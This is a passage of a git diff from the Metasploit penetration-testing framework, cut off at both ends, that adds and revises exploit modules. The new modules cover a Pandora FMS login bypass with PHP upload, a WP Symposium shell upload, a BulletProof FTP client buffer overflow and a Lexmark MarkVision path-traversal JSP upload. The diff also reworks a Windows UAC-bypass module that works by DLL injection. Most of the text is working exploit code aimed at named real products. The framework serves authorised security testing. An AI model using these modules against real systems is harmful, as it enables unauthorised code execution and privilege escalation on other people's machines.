Juan Galiana Lara. It also integrates with the built-in pandora + upload which allows a user to upload arbitrary files to the '/images/' directory. + + This module was created as an exercise in the Metasploit Mastery Class at Blackhat + that was facilitated by egypt and mubix. + + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Juan Galiana Lara', # Vulnerability discovery + 'Raymond Nunez ', # Metasploit module + 'Elizabeth Loyola ', # Metasploit module + 'Fr330wn4g3 ', # Metasploit module + '_flood ', # Metasploit module + 'mubix ', # Auth bypass and file upload + 'egypt ', # Auth bypass and file upload + ], + 'References' => + [ + ['CVE', '2010-4279'], + ['OSVDB', '69549'], + ['BID', '45112'] + ], + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Automatic Targeting', { 'auto' => true }] + ], + 'Privileged' => false, + 'DisclosureDate' => "Nov 30 2010", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to the web application', '/pandora_console/']), + ], self.class) + end + + def check + + base = target_uri.path + + # retrieve software version from login page + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(base, 'index.php') + }) + if res and res.code == 200 + #Tested on v3.1 Build PC100609 and PC100608 + if res.body.include?("v3.1 Build PC10060") + return Exploit::CheckCode::Appears + elsif res.body.include?("Pandora") + return Exploit::CheckCode::Detected + end + end + return Exploit::CheckCode::Safe + rescue ::Rex::ConnectionError + vprint_error("#{peer} - Connection failed") + end + return Exploit::CheckCode::Unknown + + end + + # upload a payload using the pandora built-in file upload + def upload(base, file, cookies) + data = Rex::MIME::Message.new + data.add_part(file, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@fname}\"") + data.add_part("Go", nil, nil, 'form-data; name="go"') + data.add_part("images", nil, nil, 'form-data; name="directory"') + data.add_part("1", nil, nil, 'form-data; name="upload_file"') + data_post = data.to_s + data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(base, 'index.php'), + 'cookie' => cookies, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'vars_get' => { + 'sec' => 'gsetup', + 'sec2' => 'godmode/setup/file_manager', + }, + 'data' => data_post + }) + + register_files_for_cleanup(@fname) + return res + end + + def exploit + + base = target_uri.path + @fname = "#{rand_text_numeric(7)}.php" + cookies = "" + + # bypass authentication and get session cookie + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(base, 'index.php'), + 'vars_get' => { + 'loginhash_data' => '21232f297a57a5a743894a0e4a801fc3', + 'loginhash_user' => 'admin', + 'loginhash' => '1', + }, + }) + + # fix if logic + if res and res.code == 200 + if res.body.include?("Logout") + cookies = res.get_cookies + print_status("Login Bypass Successful") + print_status("cookie monster = " + cookies) + else + fail_with(Exploit::Failure::NotVulnerable, "Login Bypass Failed") + end + end + + # upload PHP payload to images/[fname] + print_status("#{peer} - Uploading PHP payload (#{payload.encoded.length} bytes)") + php = %Q|| + begin + res = upload(base, php, cookies) + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed") + end + + if res and res.code == 200 + print_good("#{peer} - File uploaded successfully") + else + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed") + end + + # retrieve and execute PHP payload + print_status("#{peer} - Executing payload (images/#{@fname})") + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(base, 'images', "#{@fname}") + }, 1) + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed") + end + + end +end diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 406277cee2..c5c990354d 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -234,7 +234,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => datastore['HTTP_METHOD'], }, 25) if res && !res.get_cookies.empty? - match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /) + match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) end if match diff --git a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb index be74d9939e..c9afc417e0 100644 --- a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb +++ b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb @@ -122,7 +122,7 @@ EOS end print_error("Encountered unexpected #{res.code} response:") - print_error(res.inspect) + print_error(res.to_s) return nil end diff --git a/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb b/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb new file mode 100644 index 0000000000..ea3c2a852e --- /dev/null +++ b/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb @@ -0,0 +1,99 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress WP Symposium 14.11 Shell Upload', + 'Description' => %q{WP Symposium Plugin for WordPress contains a + flaw that allows a remote attacker to execute + arbitrary PHP code. This flaw exists because the + /wp-symposium/server/file_upload_form.php script + does not properly verify or sanitize + user-uploaded files. By uploading a .php file, + the remote system will place the file in a + user-accessible path. Making a direct request to + the uploaded file will allow the attacker to + execute the script with the privileges of the + web server.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Claudio Viviani', # Vulnerability disclosure + 'Rob Carr ' # Metasploit module + ], + 'References' => + [ + ['OSVDB', '116046'], + ['WPVDB', '7716'] + ], + 'DisclosureDate' => 'Dec 11 2014', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['wp-symposium < 14.12', {}]], + 'DefaultTarget' => 0 + )) + end + + def check + check_plugin_version_from_readme('wp-symposium', '14.12') + end + + def generate_mime_message(payload, payload_name, directory_name, symposium_url) + data = Rex::MIME::Message.new + data.add_part('1', nil, nil, 'form-data; name="uploader_uid"') + data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"') + data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"') + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"") + data + end + + def exploit + print_status("#{peer} - Preparing payload") + unique_name = Rex::Text.rand_text_alpha(10) + payload_name = "#{unique_name}.php" + symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php') + payload_url = normalize_uri(symposium_url, unique_name, payload_name) + data = generate_mime_message(payload, payload_name, unique_name, symposium_url) + symposium_url = normalize_uri(symposium_url, 'index.php') + + print_status("#{peer} - Uploading payload to #{payload_url}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => symposium_url, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + ) + + if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0' + print_good("#{peer} - Uploaded the payload") + register_files_for_cleanup(payload_name) + + print_status("#{peer} - Executing the payload...") + send_request_cgi( + { + 'uri' => payload_url, + 'method' => 'GET' + }, 5) + print_good("#{peer} - Executed payload") + else + if res.nil? + fail_with(Failure::Unreachable, "No response from the target") + else + vprint_error("#{peer} - HTTP Status: #{res.code}") + vprint_error("#{peer} - Server returned: #{res.body}") + fail_with(Failure::UnexpectedReply, "Failed to upload the payload") + end + end + end +end diff --git a/modules/exploits/windows/fileformat/adobe_geticon.rb b/modules/exploits/windows/fileformat/adobe_geticon.rb index 1fab2822f9..d67d68d24f 100644 --- a/modules/exploits/windows/fileformat/adobe_geticon.rb +++ b/modules/exploits/windows/fileformat/adobe_geticon.rb @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote # Create the pdf #pdf = make_pdf(script) - pdf = CreatePDF(script) + pdf = create_pdf(script) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) diff --git a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb new file mode 100644 index 0000000000..7f7b6d6322 --- /dev/null +++ b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::Seh + include Msf::Exploit::Remote::Egghunter + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BulletProof FTP Client BPS Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow vulnerability in + BulletProof FTP Client 2010, caused by an overly long hostname. + By persuading the victim to open a specially-crafted .BPS file, a + remote attacker could execute arbitrary code on the system or cause + the application to crash. This module has been tested successfully on + Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Gabor Seljan' + ], + 'References' => + [ + [ 'EDB', '34162' ], + [ 'EDB', '34540' ], + [ 'EDB', '35449' ], + [ 'OSVDB', '109547' ], + [ 'CVE', '2014-2973' ], + ], + 'DefaultOptions' => + { + 'ExitFunction' => 'process' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d\x1a", + 'Space' => 2000 + }, + 'Targets' => + [ + [ 'Windows XP SP3', + { + 'Offset' => 89, + 'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll] + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jul 24 2014', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps']) + ], + self.class) + end + + def exploit + eggoptions = { + :checksum => true, + :eggtag => 'w00t' + } + + hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions) + + sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n" + sploit << rand_text_alpha(target['Offset']) + sploit << generate_seh_record(target.ret) + sploit << hunter + "\r\n" # FTP Server HOST / IP + sploit << rand_text_numeric(5) + "\r\n" # Port number + sploit << egg + "\r\n" # Login name + sploit << rand_text_alpha(8) + "\r\n" # Login password + + # Create the file + print_status("Creating '#{datastore['FILENAME']}' file...") + file_create(sploit) + end + +end diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb index 7a9182a930..c7ef5b6ee7 100644 --- a/modules/exploits/windows/http/easyftp_list.rb +++ b/modules/exploits/windows/http/easyftp_list.rb @@ -116,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote if (res) print_error("The server unexpectedly responded, this is not good.") - print_status(res.inspect) + print_status(res.to_s) end handler diff --git a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb index c2bba6c577..d603e75f8b 100644 --- a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb +++ b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb @@ -237,7 +237,7 @@ class Metasploit3 < Msf::Exploit::Remote print_error("Eek! We weren't expecting a response, but we got one") if datastore['DEBUG'] print_line() - print_error(res.inspect) + print_error(res.to_s) end end diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb index 2ad63defc5..a994632a33 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb @@ -131,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Remote if res and res.code != 502 print_error("Eek! We weren't expecting a response, but we got one") - print_status(res.inspect) if datastore['NNM_DEBUG'] + print_status(res.to_s) if datastore['NNM_DEBUG'] end handler diff --git a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb index 95a3486d1f..18fbdce2b0 100644 --- a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb +++ b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb @@ -162,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote if res and res.code != 502 print_error("Eek! We weren't expecting a response, but we got one") - print_status(res.inspect) if datastore['NNM_DEBUG'] + print_status(res.to_s) if datastore['NNM_DEBUG'] end handler diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb index 73a7958ea3..eaeee505f4 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb @@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote print_error("Eek! We weren't expecting a response, but we got one") if datastore['DEBUG'] print_error('') - print_error(res.inspect) + print_error(res.to_s) end end diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb index 25aad0447e..bb190f583a 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb @@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote print_error("Eek! We weren't expecting a response, but we got one") if datastore['DEBUG'] print_error('') - print_error(res.inspect) + print_error(res.to_s) end end diff --git a/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb b/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb new file mode 100644 index 0000000000..dbddf31243 --- /dev/null +++ b/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb @@ -0,0 +1,155 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Lexmark MarkVision Enterprise Arbitrary File Upload', + 'Description' => %q{ + This module exploits a code execution flaw in Lexmark MarkVision Enterprise before 2.1. + A directory traversal in the GfdFileUploadServlet servlet allows an unauthenticated + attacker to upload arbitrary files, including arbitrary JSP code. This module has been + tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2. + }, + 'Author' => + [ + 'Andrea Micalizzi', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-8741'], + ['ZDI', '14-410'], + ['URL', 'http://support.lexmark.com/index?page=content&id=TE666&locale=EN&userlocale=EN_US'] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Lexmark Markvision Enterprise 2.0', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 09 2014')) + + register_options( + [ + Opt::RPORT(9788), + OptString.new('TARGETURI', [true, 'ROOT path', '/']) + ], self.class) + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s, 'mve', 'help', 'en', 'inventory', 'am_about.html') + }) + + version = nil + if res && res.code == 200 && res.body && res.body.to_s =~ /MarkVision Enterprise ([\d\.]+)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + if Gem::Version.new(version) <= Gem::Version.new('2.0.0') + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + def exploit + jsp_leak = jsp_path + jsp_name_leak = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp" + # By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled + # Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT + traversal_leak = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_name_leak}\x00.pdf" + + print_status("#{peer} - Uploading info leak JSP #{jsp_name_leak}...") + if upload_file(traversal_leak, jsp_leak) + print_good("#{peer} - JSP successfully uploaded") + else + fail_with(Failure::Unknown, "#{peer} - JSP upload failed") + end + + res = execute(jsp_name_leak) + + if res && res.code == 200 && res.body.to_s !~ /null/ && res.body.to_s =~ /Path:(.*)/ + upload_path = $1 + print_good("#{peer} - Working directory found in #{upload_path}") + register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_name_leak)) + else + print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required") + end + + jsp_payload_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" + jsp_payload = payload.encoded + traversal_payload = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_payload_name}\x00.pdf" + + print_status("#{peer} - Uploading JSP payload #{jsp_payload_name}...") + if upload_file(traversal_payload, jsp_payload) + print_good("#{peer} - JSP successfully uploaded") + register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_payload_name)) if upload_path + else + fail_with(Failure::Unknown, "#{peer} - JSP upload failed") + end + + print_status("#{peer} - Executing payload...") + execute(jsp_payload_name, 3) + end + + def upload_file(filename, contents) + good_signature = rand_text_alpha(4 + rand(4)) + bad_signature = rand_text_alpha(4 + rand(4)) + + post_data = Rex::MIME::Message.new + post_data.add_part(good_signature, nil, nil, 'form-data; name="success"') + post_data.add_part(bad_signature, nil, nil, 'form-data; name="failure"') + post_data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"datafile\"; filename=\"#{filename}\"") + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, 'mve', 'upload', 'gfd'), + 'method' => 'POST', + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + if res && res.code == 200 && res.body && res.body.to_s.include?(good_signature) + return true + else + return false + end + end + + def execute(jsp_name, time_out = 20) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s, jsp_name), + 'method' => 'GET' + }, time_out) + + res + end + + def jsp_path + jsp =<<-EOS +<%@ page language="Java" import="java.util.*"%> +<% +out.println("Path:" + System.getProperty("catalina.home")); +%> + EOS + + jsp + end + +end diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index 1fd494d3a6..b2003f93b8 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -10,9 +10,11 @@ class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE + include Exploit::FileDropper include Post::File include Post::Windows::Priv include Post::Windows::ReflectiveDLLInjection + include Post::Windows::Runas def initialize(info={}) super( update_info( info, @@ -32,7 +34,9 @@ class Metasploit3 < Msf::Exploit::Local 'David Kennedy "ReL1K" ', 'mitnick', 'mubix', # Port to local exploit - 'Ben Campbell' # In memory technique + 'Ben Campbell', # In memory technique + 'Lesage', # Win8+ updates + 'OJ Reeves' # Win 8+ updates ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], @@ -47,43 +51,78 @@ class Metasploit3 < Msf::Exploit::Local 'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html' ] ], - 'DisclosureDate'=> "Dec 31 2010" + 'DisclosureDate'=> 'Dec 31 2010' )) end - def bypass_dll_path - # path to the bypassuac binary - path = ::File.join(Msf::Config.data_directory, "post") + def exploit + # Validate that we can actually do things before we bother + # doing any more work + validate_environment! + check_permissions! - # decide, x86 or x64 - sysarch = sysinfo["Architecture"] - if sysarch =~ /x64/i - unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i) - fail_with( - Exploit::Failure::BadConfig, - "x86 Target Selected for x64 System" + # get all required environment variables in one shot instead. This + # is a better approach because we don't constantly make calls through + # the session to get the variables. + env_vars = get_envs('TEMP', 'WINDIR') + + case get_uac_level + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT + fail_with(Exploit::Failure::NotVulnerable, + "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." ) - end - - if sysarch =~ /WOW64/i - return ::File.join(path, "bypassuac-x86.dll") - else - return ::File.join(path, "bypassuac-x64.dll") - end - else - if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i) - fail_with( - Exploit::Failure::BadConfig, - "x64 Target Selected for x86 System" - ) - end - - ::File.join(path, "bypassuac-x86.dll") + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + shell_execute_exe + return end + + dll_path = bypass_dll_path + payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll" + + upload_payload_dll(payload_filepath) + + pid = spawn_inject_proc(env_vars['WINDIR']) + + file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath) + run_injection(pid, dll_path, file_paths) + + # Windows 7 this is cleared up by DLL but on Windows + # 8.1 it fails to delete the the file. + register_file_for_cleanup(file_paths[:szElevDllFull]) end + def bypass_dll_path + # path to the bypassuac binary + path = ::File.join(Msf::Config.data_directory, 'post') + # decide, x86 or x64 + sysarch = sysinfo['Architecture'] + if sysarch =~ /x64/i + unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i) + fail_with( + Exploit::Failure::BadConfig, + 'x86 Target Selected for x64 System' + ) + end + return ::File.join(path, 'bypassuac-x64.dll') + else + if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i) + fail_with( + Exploit::Failure::BadConfig, + 'x64 Target Selected for x86 System' + ) + end + + return ::File.join(path, 'bypassuac-x86.dll') + end + end def check_permissions! # Check if you are an admin @@ -97,139 +136,135 @@ class Metasploit3 < Msf::Exploit::Local if admin_group print_good('Part of Administrators group! Continuing...') else - fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") + fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] - fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") + fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end - - - def exploit - validate_environment! - - case get_uac_level - when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT - fail_with(Exploit::Failure::NotVulnerable, - "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." - ) - when UAC_DEFAULT - print_good "UAC is set to Default" - print_good "BypassUAC can bypass this setting, continuing..." - when UAC_NO_PROMPT - print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead" - runas_method - return - end - - check_permissions! - - @temp_path = expand_path('%TEMP%').strip - - upload_payload_dll! - - pid = spawn_inject_proc - - run_injection(pid, bypass_dll_path) - - # delete the uac bypass payload - vprint_status("Cleaning up payload file...") - file_rm(payload_filepath) - end - - - def payload_filepath - "#{@temp_path}\\CRYPTBASE.dll" - end - - - - def runas_method - payload = generate_payload_exe - payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - tmpdir = expand_path("%TEMP%") - tempexe = tmpdir + "\\" + payload_filename - write_file(tempexe, payload) - print_status("Uploading payload: #{tempexe}") - session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5) - print_status("Payload executed") - end - - - - - def run_injection(pid, dll_path) + def run_injection(pid, dll_path, file_paths) vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}") begin + path_struct = create_struct(file_paths) + vprint_status("Opening process #{pid}") host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) exploit_mem, offset = inject_dll_into_process(host_process, dll_path) - vprint_status("Executing payload") - thread = host_process.thread.create(exploit_mem + offset, 0) + + vprint_status("Injecting struct into #{pid}") + struct_addr = host_process.memory.allocate(path_struct.length) + host_process.memory.write(struct_addr, path_struct) + + vprint_status('Executing payload') + thread = host_process.thread.create(exploit_mem + offset, struct_addr) print_good("Successfully injected payload in to process: #{pid}") - client.railgun.kernel32.WaitForSingleObject(thread.handle,14000) + client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000) rescue Rex::Post::Meterpreter::RequestError => e print_error("Failed to Inject Payload to #{pid}!") vprint_error(e.to_s) end end - - - def spawn_inject_proc - windir = expand_path("%WINDIR%").strip - print_status("Spawning process with Windows Publisher Certificate, to inject into...") - cmd = "#{windir}\\System32\\notepad.exe" + # Create a process in the native architecture + def spawn_inject_proc(win_dir) + print_status('Spawning process with Windows Publisher Certificate, to inject into...') + if sysinfo['Architecture'] =~ /wow64/i + cmd = "#{win_dir}\\sysnative\\notepad.exe" + else + cmd = "#{win_dir}\\System32\\notepad.exe" + end pid = cmd_exec_get_pid(cmd) unless pid - fail_with(Exploit::Failure::Unknown, "Spawning Process failed...") + fail_with(Exploit::Failure::Unknown, 'Spawning Process failed...') end pid end - - - def upload_payload_dll! + def upload_payload_dll(payload_filepath) payload = generate_payload_dll({:dll_exitprocess => true}) - print_status("Uploading the Payload DLL to the filesystem...") + print_status('Uploading the Payload DLL to the filesystem...') begin vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") write_file(payload_filepath, payload) + register_file_for_cleanup(payload_filepath) rescue Rex::Post::Meterpreter::RequestError => e fail_with( - Exploit::Exception::Unknown, + Exploit::Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}" ) end end - - - def validate_environment! - fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system? + fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? || is_system? - winver = sysinfo["OS"] + winver = sysinfo['OS'] - unless winver =~ /Windows 2008|Windows [7]/ + case winver + when /Windows (7|8|2008|2012)/ + print_good("#{winver} may be vulnerable.") + else fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") end if is_uac_enabled? - print_status "UAC is Enabled, checking level..." + print_status('UAC is Enabled, checking level...') else - if is_in_admin_group? - fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...") - else - fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") + unless is_in_admin_group? + fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end end + def get_file_paths(win_path, payload_filepath) + paths = {} + + case sysinfo['OS'] + when /Windows (7|2008)/ + paths[:szElevDll] = 'CRYPTBASE.dll' + paths[:szElevDir] = "#{win_path}\\System32\\sysprep" + paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep" + paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe" + when /Windows (8|2012)/ + paths[:szElevDll] = 'NTWDBLIB.dll' + paths[:szElevDir] = "#{win_path}\\System32" + # This should be fine to be left blank + paths[:szElevDirSysWow64] = '' + paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe" + end + + paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}" + paths[:szTempDllPath] = payload_filepath + + paths + end + + # Creates the paths struct which contains all the required paths + # the dll needs to copy/execute etc. + def create_struct(paths) + + # write each path to the structure in the order they + # are defined in the bypass uac binary. + struct = '' + struct << fill_struct_path(paths[:szElevDir]) + struct << fill_struct_path(paths[:szElevDirSysWow64]) + struct << fill_struct_path(paths[:szElevDll]) + struct << fill_struct_path(paths[:szElevDllFull]) + struct << fill_struct_path(paths[:szElevExeFull]) + struct << fill_struct_path(paths[:szTempDllPath]) + + struct + end + + def fill_struct_path(path) + path = Rex::Text.to_unicode(path) + path + "\x00" * (520 - path.length) + end + end diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb index ec115c2ec4..8b65ba6861 100644 --- a/modules/exploits/windows/local/current_user_psexec.rb +++ b/modules/exploits/windows/local/current_user_psexec.rb @@ -113,8 +113,13 @@ class Metasploit3 < Msf::Exploit::Local begin print_status("#{server.ljust(16)} Creating service #{name}") - # 3 is Manual startup. Should probably have constants for this junk - service_create(name, display_name, service_executable, 3, server) + service_create(name, + { + :display => display_name, + :path => service_executable, + :starttype=> "START_TYPE_MANUAL" + }, + server) # If everything went well, this will create a session. If not, it # might be permissions issues or possibly we failed to create the diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 9a95a6a22f..01803bb100 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Local return false end - if srv_info && srv_info['Name'].empty? + if srv_info && srv_info[:display].empty? print_warning("Service #{service} does not exist.") return false else @@ -78,15 +78,15 @@ class Metasploit3 < Msf::Exploit::Local end def check - srv_info = service_info(@service_name) - if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe end + srv_info = service_info(@service_name) + vprint_status(srv_info.to_s) - case srv_info['Startup'] + case START_TYPE[srv_info[:starttype]] when 'Disabled' vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe @@ -235,17 +235,6 @@ class 